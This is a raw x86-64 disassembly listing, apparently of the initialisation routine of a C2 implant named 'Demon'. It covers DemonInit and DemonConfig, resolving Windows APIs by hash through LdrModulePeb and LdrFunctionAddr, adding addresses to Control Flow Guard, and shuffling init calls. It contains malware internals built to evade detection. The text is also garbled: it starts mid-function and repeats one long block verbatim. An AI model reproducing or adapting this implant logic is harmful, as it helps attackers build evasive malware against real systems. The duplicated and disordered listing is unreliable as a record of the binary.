140010a2fmov rcx, [rip+0x14210]
140010a36mov edx, 0xffffffff99bee22f
140010a3bmov [rip+0x13dc2], rax
140010a42call LdrFunctionAddr
140010a47mov rcx, [rip+0x141f8]
140010a4emov edx, 0xffffffffb717be65
140010a53mov [rip+0x13da2], rax
140010a5acall LdrFunctionAddr
140010a5fmov rcx, [rip+0x141e0]
140010a66mov edx, 0x39e8f317
140010a6bmov [rip+0x13d9a], rax
140010a72call LdrFunctionAddr
140010a77mov rcx, [rip+0x141c8]
140010a7emov edx, 0xffffffffcf2ad680
140010a83mov [rip+0x13dd2], rax
140010a8acall LdrFunctionAddr
140010a8fmov rcx, [rip+0x141b0]
140010a96mov edx, 0x40750b38
140010a9bmov [rip+0x13da2], rax
140010aa2call LdrFunctionAddr
140010aa7mov rcx, [rip+0x14198]
140010aaemov edx, 0xc993b9c
140010ab3mov [rip+0x13d92], rax
140010abacall LdrFunctionAddr
140010abfmov rcx, [rip+0x14180]
140010ac6mov edx, 0xffffffffd908e1d8
140010acbmov [rip+0x13d82], rax
140010ad2call LdrFunctionAddr
140010ad7mov rcx, [rip+0x14168]
140010ademov edx, 0x7a14b61c
140010ae3mov [rip+0x13d7a], rax
140010aeacall LdrFunctionAddr
140010aefmov rcx, [rip+0x14150]
140010af6mov edx, 0x71842fbf
140010afbmov [rip+0x13d6a], rax
140010b02call LdrFunctionAddr
140010b07mov rcx, [rip+0x14138]
140010b0emov edx, 0xffffffff95f45a6c
140010b13mov [rip+0x13d5a], rax
140010b1acall LdrFunctionAddr
140010b1fmov rcx, [rip+0x14120]
140010b26mov edx, 0x3f9eed0d
140010b2bmov [rip+0x13d4a], rax
140010b32call LdrFunctionAddr
140010b37mov rcx, [rip+0x14108]
140010b3emov edx, 0x271da464
140010b43mov [rip+0x13d3a], rax
140010b4acall LdrFunctionAddr
140010b4fmov rcx, [rip+0x140f0]
140010b56mov edx, 0x47886698
140010b5bmov [rip+0x13d2a], rax
140010b62call LdrFunctionAddr
140010b67mov [rip+0x13d26], rax
140010b6e
140010b6eloc_140010b6e:
140010b6ecall DemonConfig
140010b73cmp [rip+0x13960], 0
140010b7aje 0x140010ba4
140010b7cmov rcx, [rip+0x140bb]
140010b83call SysInitialize
140010b88test eax, eax
140010b8ajne 0x140010ba4
140010b8clea r9, [rip+0x1aff2]
140010b93mov r8l, 466
140010b99mov rdx, rbx
140010b9cmov rcx, rsi
140010b9fcall printf
140010ba4
140010ba4loc_140010ba4:
140010ba4mov edx, 12
140010ba9mov rcx, rdi
140010bacxor r13l, r13l
140010bafcall ShuffleArray
140010bb4
140010bb4loc_140010bb4:
140010bb4call [rdi+8*r13]
140010bb8test eax, eax
140010bbajne 0x140010bd9
140010bbclea r9, [rip+0x1afe0]
140010bc3mov r8l, 479
140010bc9
140010bc9loc_140010bc9:
140010bc9mov rdx, rbx
140010bccmov rcx, rsi
140010bcfcall printf
140010bd4jmp 0x140010db1
140010bd9
140010bd9loc_140010bd9:
140010bd9inc r13
140010bdccmp r13, 12
140010be0jne 0x140010bb4
140010be2test r12, r12
140010be5jne 0x140010c1b
140010be7mov [rip+0x1383e], rbp
140010beetest rbp, rbp
140010bf1jne 0x140010c01
140010bf3xor ecx, ecx
140010bf5call LdrModulePeb
140010bfamov [rip+0x1382b], rax
140010c01
140010c01loc_140010c01:
140010c01mov rax, [rip+0x13824]
140010c08test rax, rax
140010c0bje 0x140010c1b
140010c0dmovsxd rdx, [rax+60]
140010c11mov eax, [rax+rdx+80]
140010c15mov [rip+0x13819], eax
140010c1b
140010c1bloc_140010c1b:
140010c1bmov rax, [rip+0x14094]
140010c22mov [rip+0x1382c], 0x90009
140010c2cmov rdx, [rax+64]
140010c30mov rax, [rax+72]
140010c34mov [rip+0x13816], eax
140010c3axor eax, eax
140010c3cmov [rip+0x1380a], edx
140010c42mov [rip+0x13800], eax
140010c48call RandomNumber32
140010c4dxor r8l, r8l
140010c50xor edx, edx
140010c52xor ecx, ecx
140010c54mov [rip+0x137ea], eax
140010c5amov [rip+0x138bb], rdx
140010c61mov [rip+0x138bc], rdx
140010c68mov [rip+0x14073], rdx
140010c6fmov [rip+0x1407d], ecx
140010c75mov [rip+0x14082], r8
140010c7cmov [rip+0x14083], r8
140010c83mov [rip+0x1408c], r8
140010c8amov [rip+0x14095], r8
140010c91mov [rip+0x1402a], r8
140010c98mov [rip+0x1403b], r8
140010c9fcall CfgQueryEnforced
140010ca4test eax, eax
140010ca6je 0x140010d95
140010caclea r9, [rip+0x1af08]
140010cb3mov r8l, 546
140010cb9mov rdx, rbx
140010cbcmov rcx, rsi
140010cbfcall printf
140010cc4mov rdx, [rip+0x139e9]
140010ccbmov rcx, [rip+0x13f6c]
140010cd2call CfgAddressAdd
140010cd7mov rdx, [rip+0x13976]
140010cdemov rcx, [rip+0x13f59]
140010ce5call CfgAddressAdd
140010ceamov rdx, [rip+0x1395b]
140010cf1mov rcx, [rip+0x13f46]
140010cf8call CfgAddressAdd
140010cfdmov rdx, [rip+0x13c58]
140010d04mov rcx, [rip+0x13f43]
140010d0bcall CfgAddressAdd
140010d10mov rdx, [rip+0x13d85]
140010d17mov rcx, [rip+0x13f28]
140010d1ecall CfgAddressAdd
140010d23mov rdx, [rip+0x139fa]
140010d2amov rcx, [rip+0x13f15]
140010d31call CfgAddressAdd
140010d36mov rdx, [rip+0x1388f]
140010d3dmov rcx, [rip+0x13efa]
140010d44call CfgAddressAdd
140010d49mov rdx, [rip+0x13924]
140010d50mov rcx, [rip+0x13ee7]
140010d57call CfgAddressAdd
140010d5cmov rdx, [rip+0x13909]
140010d63mov rcx, [rip+0x13ed4]
140010d6acall CfgAddressAdd
140010d6fmov rdx, [rip+0x1392e]
140010d76mov rcx, [rip+0x13ec1]
140010d7dcall CfgAddressAdd
140010d82mov rdx, [rip+0x137e3]
140010d89mov rcx, [rip+0x13eae]
140010d90call CfgAddressAdd
140010d95
140010d95loc_140010d95:
140010d95mov r9l, [rip+0x136a8]
140010d9cmov r8l, 566
140010da2mov rdx, rbx
140010da5lea rcx, [rip+0x1ae4a]
140010daccall printf
140010db1
140010db1loc_140010db1:
140010db1add rsp, 424
140010db8pop rbx
140010db9pop rsi
140010dbapop rdi
140010dbbpop rbp
140010dbcpop r12
140010dbepop r13
140010dc0ret
14000fe80
14000fe80DemonInit:
14000fe80push r13
14000fe82xor eax, eax
14000fe84push r12
14000fe86mov r12, rdx
14000fe89push rbp
14000fe8amov rbp, rcx
14000fe8dmov ecx, 71
14000fe92push rdi
14000fe93push rsi
14000fe94lea rsi, [rip+0x142e5]
14000fe9bpush rbx
14000fe9csub rsp, 424
14000fea3lea rdi, [rsp+132]
14000feabrep stosd [rdi], eax
14000feadlea rdi, [rsp+32]
14000feb2mov ecx, 24
14000feb7rep movsd [rdi], [rsi]
14000feb9lea rdi, [rip+0x14540]
14000fec0mov ecx, 2350
14000fec5rep stosb [rdi], al
14000fec7lea rbx, [rip+0x1caa2]
14000fecelea rsi, [rip+0x1bbab]
14000fed5mov r8l, 287
14000fedblea r9, [rip+0x1bc57]
14000fee2mov rdx, rbx
14000fee5mov rcx, rsi
14000fee8mov rax, [0x30]
14000fef1mov [rip+0x14dbe], rax
14000fef8call printf
14000fefdmov ecx, 0x70e61753
14000ff02call LdrModulePeb
14000ff07mov [rip+0x14d30], rax
14000ff0etest rax, rax
14000ff11je 0x1400104b4
14000ff17mov rcx, rax
14000ff1amov edx, 0xfffffffffce76bb6
14000ff1flea rdi, [rsp+32]
14000ff24call LdrFunctionAddr
14000ff29mov rcx, [rip+0x14d0e]
14000ff30mov edx, 0xffffffff9e456a43
14000ff35mov [rip+0x145f8], rax
14000ff3ccall LdrFunctionAddr
14000ff41mov rcx, [rip+0x14cf6]
14000ff48mov edx, 0x3be94c5a
14000ff4dmov [rip+0x145d8], rax
14000ff54call LdrFunctionAddr
14000ff59mov rcx, [rip+0x14cde]
14000ff60mov edx, 0xffffffffaf740371
14000ff65mov [rip+0x145d0], rax
14000ff6ccall LdrFunctionAddr
14000ff71mov rcx, [rip+0x14cc6]
14000ff78mov edx, 0x73a9e4d7
14000ff7dmov [rip+0x145c0], rax
14000ff84call LdrFunctionAddr
14000ff89mov rcx, [rip+0x14cae]
14000ff90mov edx, 0x2f6db5e8
14000ff95mov [rip+0x145b0], rax
14000ff9ccall LdrFunctionAddr
14000ffa1mov rcx, [rip+0x14c96]
14000ffa8mov edx, 0x57c72f
14000ffadmov [rip+0x145b8], rax
14000ffb4call LdrFunctionAddr
14000ffb9mov rcx, [rip+0x14c7e]
14000ffc0mov edx, 0x7f1224f5
14000ffc5mov [rip+0x145a8], rax
14000ffcccall LdrFunctionAddr
14000ffd1mov rcx, [rip+0x14c66]
14000ffd8mov edx, 0x39d7c890
14000ffddmov [rip+0x14570], rax
14000ffe4call LdrFunctionAddr
14000ffe9mov rcx, [rip+0x14c4e]
14000fff0mov edx, 0xdde5cdd
14000fff5mov [rip+0x14560], rax
14000fffccall LdrFunctionAddr
140010001mov rcx, [rip+0x14c36]
140010008mov edx, 0x50ef3c31
14001000dmov [rip+0x14550], rax
140010014call LdrFunctionAddr
140010019mov rcx, [rip+0x14c1e]
140010020mov edx, 0x1877faec
140010025mov [rip+0x14568], rax
14001002ccall LdrFunctionAddr
140010031mov rcx, [rip+0x14c06]
140010038mov edx, 0xffffffffae92028e
14001003dmov [rip+0x14538], rax
140010044call LdrFunctionAddr
140010049mov rcx, [rip+0x14bee]
140010050mov edx, 0x600fe691
140010055mov [rip+0x14530], rax
14001005ccall LdrFunctionAddr
140010061mov rcx, [rip+0x14bd6]
140010068mov edx, 0xffffffffeec188b0
14001006dmov [rip+0x14510], rax
140010074call LdrFunctionAddr
140010079mov rcx, [rip+0x14bbe]
140010080mov edx, 0xffffffffeba8d910
140010085mov [rip+0x14510], rax
14001008ccall LdrFunctionAddr
140010091mov rcx, [rip+0x14ba6]
140010098mov edx, 0x2df06c89
14001009dmov [rip+0x14500], rax
1400100a4call LdrFunctionAddr
1400100a9mov rcx, [rip+0x14b8e]
1400100b0mov edx, 0xffffffffad1b018e
1400100b5mov [rip+0x144f0], rax
1400100bccall LdrFunctionAddr
1400100c1mov rcx, [rip+0x14b76]
1400100c8mov edx, 0x5b56b302
1400100cdmov [rip+0x144e0], rax
1400100d4call LdrFunctionAddr
1400100d9mov rcx, [rip+0x14b5e]
1400100e0mov edx, 0x40d6e69d
1400100e5mov [rip+0x144d0], rax
1400100eccall LdrFunctionAddr
1400100f1mov rcx, [rip+0x14b46]
1400100f8mov edx, 0x28d3233d
1400100fdmov [rip+0x144c0], rax
140010104call LdrFunctionAddr
140010109mov rcx, [rip+0x14b2e]
140010110mov edx, 0xffffffffcb87d8b5
140010115mov [rip+0x14518], rax
14001011ccall LdrFunctionAddr
140010121mov rcx, [rip+0x14b16]
140010128mov edx, 0xc3c03f1
14001012dmov [rip+0x14498], rax
140010134call LdrFunctionAddr
140010139mov rcx, [rip+0x14afe]
140010140mov edx, 0xffffffff946ac239
140010145mov [rip+0x14488], rax
14001014ccall LdrFunctionAddr
140010151mov rcx, [rip+0x14ae6]
140010158mov edx, 0xffffffffa410fb9e
14001015dmov [rip+0x14478], rax
140010164call LdrFunctionAddr
140010169mov rcx, [rip+0x14ace]
140010170mov edx, 0x4b82f718
140010175mov [rip+0x14468], rax
14001017ccall LdrFunctionAddr
140010181mov rcx, [rip+0x14ab6]
140010188mov edx, 0x4ed9dd4f
14001018dmov [rip+0x14470], rax
140010194call LdrFunctionAddr
140010199mov rcx, [rip+0x14a9e]
1400101a0mov edx, 0xffffffff8cdc5dc2
1400101a5mov [rip+0x14450], rax
1400101accall LdrFunctionAddr
1400101b1mov rcx, [rip+0x14a86]
1400101b8mov edx, 0x7bc23928
1400101bdmov [rip+0x14498], rax
1400101c4call LdrFunctionAddr
1400101c9mov rcx, [rip+0x14a6e]
1400101d0mov edx, 0xfffffffff783b8ec
1400101d5mov [rip+0x14488], rax
1400101dccall LdrFunctionAddr
1400101e1mov rcx, [rip+0x14a56]
1400101e8mov edx, 0xa6664b8
1400101edmov [rip+0x14488], rax
1400101f4call LdrFunctionAddr
1400101f9mov rcx, [rip+0x14a3e]
140010200mov edx, 0xffffffff968e0cb1
140010205mov [rip+0x14410], rax
14001020ccall LdrFunctionAddr
140010211mov rcx, [rip+0x14a26]
140010218mov edx, 0xffffffff803347d2
14001021dmov [rip+0x143c8], rax
140010224call LdrFunctionAddr
140010229mov rcx, [rip+0x14a0e]
140010230mov edx, 0x5a4bc3d0
140010235mov [rip+0x143b8], rax
14001023ccall LdrFunctionAddr
140010241mov rcx, [rip+0x149f6]
140010248mov edx, 0xffffffffe43d93e1
14001024dmov [rip+0x143d8], rax
140010254call LdrFunctionAddr
140010259mov rcx, [rip+0x149de]
140010260mov edx, 0x28d3233d
140010265mov [rip+0x143b8], rax
14001026ccall LdrFunctionAddr
140010271mov rcx, [rip+0x149c6]
140010278mov edx, 0x4441d859
14001027dmov [rip+0x143b0], rax
140010284call LdrFunctionAddr
140010289mov rcx, [rip+0x149ae]
140010290mov edx, 0x6d22f884
140010295mov [rip+0x143a8], rax
14001029ccall LdrFunctionAddr
1400102a1mov rcx, [rip+0x14996]
1400102a8mov edx, 0xffffffffffa0bf10
1400102admov [rip+0x14398], rax
1400102b4call LdrFunctionAddr
1400102b9mov rcx, [rip+0x1497e]
1400102c0mov edx, 0xffffffffe8ac0c3c
1400102c5mov [rip+0x14388], rax
1400102cccall LdrFunctionAddr
1400102d1mov rcx, [rip+0x14966]
1400102d8mov edx, 0x5ba11e28
1400102ddmov [rip+0x14388], rax
1400102e4call LdrFunctionAddr
1400102e9mov rcx, [rip+0x1494e]
1400102f0mov edx, 0x78983aed
1400102f5mov [rip+0x143c0], rax
1400102fccall LdrFunctionAddr
140010301mov rcx, [rip+0x14936]
140010308mov edx, 0xffffffff858a32df
14001030dmov [rip+0x143b0], rax
140010314call LdrFunctionAddr
140010319mov rcx, [rip+0x1491e]
140010320mov edx, 0xffffffffaf18cfb0
140010325mov [rip+0x14348], rax
14001032ccall LdrFunctionAddr
140010331mov rcx, [rip+0x14906]
140010338mov edx, 0x350dca99
14001033dmov [rip+0x142f8], rax
140010344call LdrFunctionAddr
140010349mov rcx, [rip+0x148ee]
140010350mov edx, 0xffffffff8e160b23
140010355mov [rip+0x142b0], rax
14001035ccall LdrFunctionAddr
140010361mov rcx, [rip+0x148d6]
140010368mov edx, 0x50e92888
14001036dmov [rip+0x142a0], rax
140010374call LdrFunctionAddr
140010379mov rcx, [rip+0x148be]
140010380mov edx, 0xffffffffccf58808
140010385mov [rip+0x14318], rax
14001038ccall LdrFunctionAddr
140010391mov rcx, [rip+0x148a6]
140010398mov edx, 0xffffffffc3170192
14001039dmov [rip+0x14308], rax
1400103a4call LdrFunctionAddr
1400103a9mov rcx, [rip+0x1488e]
1400103b0mov edx, 0xfffffffffc3a6c2c
1400103b5mov [rip+0x142c8], rax
1400103bccall LdrFunctionAddr
1400103c1mov rcx, [rip+0x14876]
1400103c8mov edx, 0xffffffffa3288103
1400103cdmov [rip+0x142e0], rax
1400103d4call LdrFunctionAddr
1400103d9mov rcx, [rip+0x1485e]
1400103e0mov edx, 0x2802c609
1400103e5mov [rip+0x142a0], rax
1400103eccall LdrFunctionAddr
1400103f1mov rcx, [rip+0x14846]
1400103f8mov edx, 0x6aa412cd
1400103fdmov [rip+0x14290], rax
140010404call LdrFunctionAddr
140010409mov rcx, [rip+0x1482e]
140010410mov edx, 0x10c0e85d
140010415mov [rip+0x14280], rax
14001041ccall LdrFunctionAddr
140010421mov rcx, [rip+0x14816]
140010428mov edx, 0xf371fe4
14001042dmov [rip+0x14298], rax
140010434call LdrFunctionAddr
140010439mov rcx, [rip+0x147fe]
140010440mov edx, 0xfffffffff5a0461b
140010445mov [rip+0x14288], rax
14001044ccall LdrFunctionAddr
140010451mov rcx, [rip+0x147e6]
140010458mov edx, 0xffffffffc85dc9b4
14001045dmov [rip+0x14278], rax
140010464call LdrFunctionAddr
140010469mov rcx, [rip+0x147ce]
140010470mov edx, 0x70c25cd8
140010475mov [rip+0x14268], rax
14001047ccall LdrFunctionAddr
140010481xor r9l, r9l
140010484lea rcx, [rsp+132]
14001048cmov [rsp+132], 284
140010497mov [rip+0x1424e], rax
14001049emov [rip+0x13fb7], r9l
1400104a5call [rip+0x140b9]
1400104abtest eax, eax
1400104adjns 0x1400104c6
1400104afjmp 0x140010584
1400104b4
1400104b4loc_1400104b4:
1400104b4lea r9, [rip+0x1b68d]
1400104bbmov r8l, 361
1400104c1jmp 0x140010bc9
1400104c6
1400104c6loc_1400104c6:
1400104c6mov eax, [rsp+136]
1400104cdcmp eax, 4
1400104d0jbe 0x140010584
1400104d6cmp eax, 5
1400104d9jne 0x1400104f8
1400104dbcmp [rsp+140], 1
1400104e3jne 0x140010584
1400104e9mov [rip+0x13f69], 1
1400104f3jmp 0x140010584
1400104f8
1400104f8loc_1400104f8:
1400104f8cmp eax, 6
1400104fbjne 0x14001055f
1400104fdmov edx, [rsp+140]
140010504test edx, edx
140010506jne 0x14001051a
140010508xor eax, eax
14001050acmp [rsp+414], 1
140010512setne al
140010515add eax, 2
140010518jmp 0x14001057e
14001051a
14001051aloc_14001051a:
14001051acmp edx, 1
14001051djne 0x140010531
14001051fcmp [rsp+414], 1
140010527mov edx, 4
14001052ccmove eax, edx
14001052fjmp 0x14001057e
140010531
140010531loc_140010531:
140010531cmp edx, 2
140010534jne 0x140010548
140010536xor eax, eax
140010538cmp [rsp+414], 1
140010540sete al
140010543add eax, 7
140010546jmp 0x14001057e
140010548
140010548loc_140010548:
140010548cmp edx, 3
14001054bjne 0x140010584
14001054dxor eax, eax
14001054fcmp [rsp+414], 1
140010557setne al
14001055aadd eax, 8
14001055djmp 0x14001057e
14001055f
14001055floc_14001055f:
14001055fcmp eax, 10
140010562jne 0x140010584
140010564cmp [rsp+140], 0
14001056cjne 0x140010584
14001056ecmp [rsp+414], 1
140010576mov edx, 11
14001057bcmovne eax, edx
14001057e
14001057eloc_14001057e:
14001057emov [rip+0x13ed8], eax
140010584
140010584loc_140010584:
140010584mov r9l, [rip+0x13ed1]
14001058bmov r8l, 390
140010591mov rdx, rbx
140010594lea rcx, [rip+0x1b5cb]
14001059bcall printf
1400105a0mov ecx, 0xffffffffadd31df0
1400105a5call LdrModulePeb
1400105aamov [rip+0x14695], rax
1400105b1mov rcx, rax
1400105b4test rax, rax
1400105b7je 0x140010b6e
1400105bdmov edx, 0xffffffffb7072ff1
1400105c2call LdrFunctionAddr
1400105c7mov rcx, [rip+0x14678]
1400105cemov edx, 0x5b6b908a
1400105d3mov [rip+0x1411a], rax
1400105dacall LdrFunctionAddr
1400105dfmov rcx, [rip+0x14660]
1400105e6mov edx, 0xffffffffe857500d
1400105ebmov [rip+0x141ea], rax
1400105f2call LdrFunctionAddr
1400105f7mov rcx, [rip+0x14648]
1400105femov edx, 0x72073b5b
140010603mov [rip+0x1411a], rax
14001060acall LdrFunctionAddr
14001060fmov rcx, [rip+0x14630]
140010616mov edx, 0x1c44e892
14001061bmov [rip+0x14182], rax
140010622call LdrFunctionAddr
140010627mov rcx, [rip+0x14618]
14001062emov edx, 0x32030e92
140010633mov [rip+0x1417a], rax
14001063acall LdrFunctionAddr
14001063fmov rcx, [rip+0x14600]
140010646mov edx, 0x252b157d
14001064bmov [rip+0x1415a], rax
140010652call LdrFunctionAddr
140010657mov rcx, [rip+0x145e8]
14001065emov edx, 0xfffffffff37ac035
140010663mov [rip+0x14092], rax
14001066acall LdrFunctionAddr
14001066fmov rcx, [rip+0x145d0]
140010676mov edx, 0xffffffffb06fa1a8
14001067bmov [rip+0x14082], rax
140010682call LdrFunctionAddr
140010687mov rcx, [rip+0x145b8]
14001068emov edx, 0x43f6e75f
140010693mov [rip+0x14072], rax
14001069acall LdrFunctionAddr
14001069fmov rcx, [rip+0x145a0]
1400106a6mov edx, 0xffffffff9694e9e7
1400106abmov [rip+0x14062], rax
1400106b2call LdrFunctionAddr
1400106b7mov rcx, [rip+0x14588]
1400106bemov edx, 0xfffffffffbaf90cf
1400106c3mov [rip+0x140c2], rax
1400106cacall LdrFunctionAddr
1400106cfmov rcx, [rip+0x14570]
1400106d6mov edx, 0xffffffffa6a2249d
1400106dbmov [rip+0x140da], rax
1400106e2call LdrFunctionAddr
1400106e7mov rcx, [rip+0x14558]
1400106eemov edx, 0x687d2110
1400106f3mov [rip+0x1403a], rax
1400106facall LdrFunctionAddr
1400106ffmov rcx, [rip+0x14540]
140010706mov edx, 0x7b813820
14001070bmov [rip+0x1401a], rax
140010712call LdrFunctionAddr
140010717mov rcx, [rip+0x14528]
14001071emov edx, 0x60afc95d
140010723mov [rip+0x14012], rax
14001072acall LdrFunctionAddr
14001072fmov rcx, [rip+0x14510]
140010736mov edx, 0xffffffffa05e2a83
14001073bmov [rip+0x14002], rax
140010742call LdrFunctionAddr
140010747mov rcx, [rip+0x144f8]
14001074emov edx, 0x11b30049
140010753mov [rip+0x13ff2], rax
14001075acall LdrFunctionAddr
14001075fmov rcx, [rip+0x144e0]
140010766mov edx, 0x7b94a3fe
14001076bmov [rip+0x1426a], rax
140010772call LdrFunctionAddr
140010777mov rcx, [rip+0x144c8]
14001077emov edx, 0xffffffff84d15061
140010783mov [rip+0x14262], rax
14001078acall LdrFunctionAddr
14001078fmov rcx, [rip+0x144b0]
140010796mov edx, 0x5775bd54
14001079bmov [rip+0x13ff2], rax
1400107a2call LdrFunctionAddr
1400107a7mov rcx, [rip+0x14498]
1400107aemov edx, 0x512e1b97
1400107b3mov [rip+0x13f62], rax
1400107bacall LdrFunctionAddr
1400107bfmov rcx, [rip+0x14480]
1400107c6mov edx, 0xffffffffec725c53
1400107cbmov [rip+0x142ca], rax
1400107d2call LdrFunctionAddr
1400107d7mov rcx, [rip+0x14468]
1400107demov edx, 0xffffffffa7c5fd39
1400107e3mov [rip+0x13fb2], rax
1400107eacall LdrFunctionAddr
1400107efmov rcx, [rip+0x14450]
1400107f6mov edx, 0x538852b2
1400107fbmov [rip+0x13fc2], rax
140010802call LdrFunctionAddr
140010807mov rcx, [rip+0x14438]
14001080emov edx, 0xfffffffff3c179ad
140010813mov [rip+0x13fb2], rax
14001081acall LdrFunctionAddr
14001081fmov rcx, [rip+0x14420]
140010826mov edx, 0xffffffffd139cc66
14001082bmov [rip+0x13fa2], rax
140010832call LdrFunctionAddr
140010837mov rcx, [rip+0x14408]
14001083emov edx, 0x14fc3cc2
140010843mov [rip+0x1418a], rax
14001084acall LdrFunctionAddr
14001084fmov rcx, [rip+0x143f0]
140010856mov edx, 0xffffffff99beb7a0
14001085bmov [rip+0x14182], rax
140010862call LdrFunctionAddr
140010867mov rcx, [rip+0x143d8]
14001086emov edx, 0x3c2fba83
140010873mov [rip+0x1417a], rax
14001087acall LdrFunctionAddr
14001087fmov rcx, [rip+0x143c0]
140010886mov edx, 0xffffffffa4e66f3a
14001088bmov [rip+0x141d2], rax
140010892call LdrFunctionAddr
140010897mov rcx, [rip+0x143a8]
14001089emov edx, 0xc2c4270
1400108a3mov [rip+0x141c2], rax
1400108aacall LdrFunctionAddr
1400108afmov rcx, [rip+0x14390]
1400108b6mov edx, 0xffffffff9ab85b1c
1400108bbmov [rip+0x141b2], rax
1400108c2call LdrFunctionAddr
1400108c7mov rcx, [rip+0x14378]
1400108cemov edx, 0xffffffffe620bba8
1400108d3mov [rip+0x141aa], rax
1400108dacall LdrFunctionAddr
1400108dfmov rcx, [rip+0x14360]
1400108e6mov edx, 0x50ac3c84
1400108ebmov [rip+0x1419a], rax
1400108f2call LdrFunctionAddr
1400108f7mov rcx, [rip+0x14348]
1400108femov edx, 0xffffffffd5312e5d
140010903mov [rip+0x13e4a], rax
14001090acall LdrFunctionAddr
14001090fmov rcx, [rip+0x14330]
140010916mov edx, 0x342bd542
14001091bmov [rip+0x13e3a], rax
140010922call LdrFunctionAddr
140010927mov rcx, [rip+0x14318]
14001092emov edx, 0xfffffffff1d207d0
140010933mov [rip+0x13e2a], rax
14001093acall LdrFunctionAddr
14001093fmov rcx, [rip+0x14300]
140010946mov edx, 0x436e4c62
14001094bmov [rip+0x13e1a], rax
140010952call LdrFunctionAddr
140010957mov rcx, [rip+0x142e8]
14001095emov edx, 0x4ad9b11c
140010963mov [rip+0x13e0a], rax
14001096acall LdrFunctionAddr
14001096fmov rcx, [rip+0x142d0]
140010976mov edx, 0x3d54a9f4
14001097bmov [rip+0x13dfa], rax
140010982call LdrFunctionAddr
140010987mov rcx, [rip+0x142b8]
14001098emov edx, 0xfffffffff30aab23
140010993mov [rip+0x13e4a], rax
14001099acall LdrFunctionAddr
14001099fmov rcx, [rip+0x142a0]
1400109a6mov edx, 0xfffffffff67b31a5
1400109abmov [rip+0x13e72], rax
1400109b2call LdrFunctionAddr
1400109b7mov rcx, [rip+0x14288]
1400109bemov edx, 0x3626633c
1400109c3mov [rip+0x13e22], rax
1400109cacall LdrFunctionAddr
1400109cfmov rcx, [rip+0x14270]
1400109d6mov edx, 0x42ade43c
1400109dbmov [rip+0x13e12], rax
1400109e2call LdrFunctionAddr
1400109e7mov rcx, [rip+0x14258]
1400109eemov edx, 0x7a047cab
1400109f3mov [rip+0x13e32], rax
1400109facall LdrFunctionAddr
1400109ffmov rcx, [rip+0x14240]
140010a06mov edx, 0x77b0aa6a
140010a0bmov [rip+0x13e22], rax
140010a12call LdrFunctionAddr
140010a17mov rcx, [rip+0x14228]
140010a1emov edx, 0xffffffffb6af709f
140010a23mov [rip+0x13e12], rax
140010a2acall LdrFunctionAddr
140010a2fmov rcx, [rip+0x14210]
140010a36mov edx, 0xffffffff99bee22f
140010a3bmov [rip+0x13dc2], rax
140010a42call LdrFunctionAddr
140010a47mov rcx, [rip+0x141f8]
140010a4emov edx, 0xffffffffb717be65
140010a53mov [rip+0x13da2], rax
140010a5acall LdrFunctionAddr
140010a5fmov rcx, [rip+0x141e0]
140010a66mov edx, 0x39e8f317
140010a6bmov [rip+0x13d9a], rax
140010a72call LdrFunctionAddr
140010a77mov rcx, [rip+0x141c8]
140010a7emov edx, 0xffffffffcf2ad680
140010a83mov [rip+0x13dd2], rax
140010a8acall LdrFunctionAddr
140010a8fmov rcx, [rip+0x141b0]
140010a96mov edx, 0x40750b38
140010a9bmov [rip+0x13da2], rax
140010aa2call LdrFunctionAddr
140010aa7mov rcx, [rip+0x14198]
140010aaemov edx, 0xc993b9c
140010ab3mov [rip+0x13d92], rax
140010abacall LdrFunctionAddr
140010abfmov rcx, [rip+0x14180]
140010ac6mov edx, 0xffffffffd908e1d8
140010acbmov [rip+0x13d82], rax
140010ad2call LdrFunctionAddr
140010ad7mov rcx, [rip+0x14168]
140010ademov edx, 0x7a14b61c
140010ae3mov [rip+0x13d7a], rax
140010aeacall LdrFunctionAddr
140010aefmov rcx, [rip+0x14150]
140010af6mov edx, 0x71842fbf
140010afbmov [rip+0x13d6a], rax
140010b02call LdrFunctionAddr
140010b07mov rcx, [rip+0x14138]
140010b0emov edx, 0xffffffff95f45a6c
140010b13mov [rip+0x13d5a], rax
140010b1acall LdrFunctionAddr
140010b1fmov rcx, [rip+0x14120]
140010b26mov edx, 0x3f9eed0d
140010b2bmov [rip+0x13d4a], rax
140010b32call LdrFunctionAddr
140010b37mov rcx, [rip+0x14108]
140010b3emov edx, 0x271da464
140010b43mov [rip+0x13d3a], rax
140010b4acall LdrFunctionAddr
140010b4fmov rcx, [rip+0x140f0]
140010b56mov edx, 0x47886698
140010b5bmov [rip+0x13d2a], rax
140010b62call LdrFunctionAddr
140010b67mov [rip+0x13d26], rax
140010b6e
140010b6eloc_140010b6e:
140010b6ecall DemonConfig
140010b73cmp [rip+0x13960], 0
140010b7aje 0x140010ba4
140010b7cmov rcx, [rip+0x140bb]
140010b83call SysInitialize
140010b88test eax, eax
140010b8ajne 0x140010ba4
140010b8clea r9, [rip+0x1aff2]
140010b93mov r8l, 466
140010b99mov rdx, rbx
140010b9cmov rcx, rsi
140010b9fcall printf
140010ba4
140010ba4loc_140010ba4:
140010ba4mov edx, 12
140010ba9mov rcx, rdi
140010bacxor r13l, r13l
140010bafcall ShuffleArray
140010bb4
140010bb4loc_140010bb4:
140010bb4call [rdi+8*r13]
140010bb8test eax, eax
140010bbajne 0x140010bd9
140010bbclea r9, [rip+0x1afe0]
140010bc3mov r8l, 479
140010bc9
140010bc9loc_140010bc9:
140010bc9mov rdx, rbx
140010bccmov rcx, rsi
140010bcfcall printf
140010bd4jmp 0x140010db1
140010bd9
140010bd9loc_140010bd9:
140010bd9inc r13
140010bdccmp r13, 12
140010be0jne 0x140010bb4
140010be2test r12, r12
140010be5jne 0x140010c1b
140010be7mov [rip+0x1383e], rbp
140010beetest rbp, rbp
140010bf1jne 0x140010c01
140010bf3xor ecx, ecx
140010bf5call LdrModulePeb
140010bfamov [rip+0x1382b], rax
140010c01
140010c01loc_140010c01:
140010c01mov rax, [rip+0x13824]
140010c08test rax, rax
140010c0bje 0x140010c1b
140010c0dmovsxd rdx, [rax+60]
140010c11mov eax, [rax+rdx+80]
140010c15mov [rip+0x13819], eax
140010c1b
140010c1bloc_140010c1b:
140010c1bmov rax, [rip+0x14094]
140010c22mov [rip+0x1382c], 0x90009
140010c2cmov rdx, [rax+64]
140010c30mov rax, [rax+72]
140010c34mov [rip+0x13816], eax
140010c3axor eax, eax
140010c3cmov [rip+0x1380a], edx
140010c42mov [rip+0x13800], eax
140010c48call RandomNumber32
140010c4dxor r8l, r8l
140010c50xor edx, edx
140010c52xor ecx, ecx
140010c54mov [rip+0x137ea], eax
140010c5amov [rip+0x138bb], rdx
140010c61mov [rip+0x138bc], rdx
140010c68mov [rip+0x14073], rdx
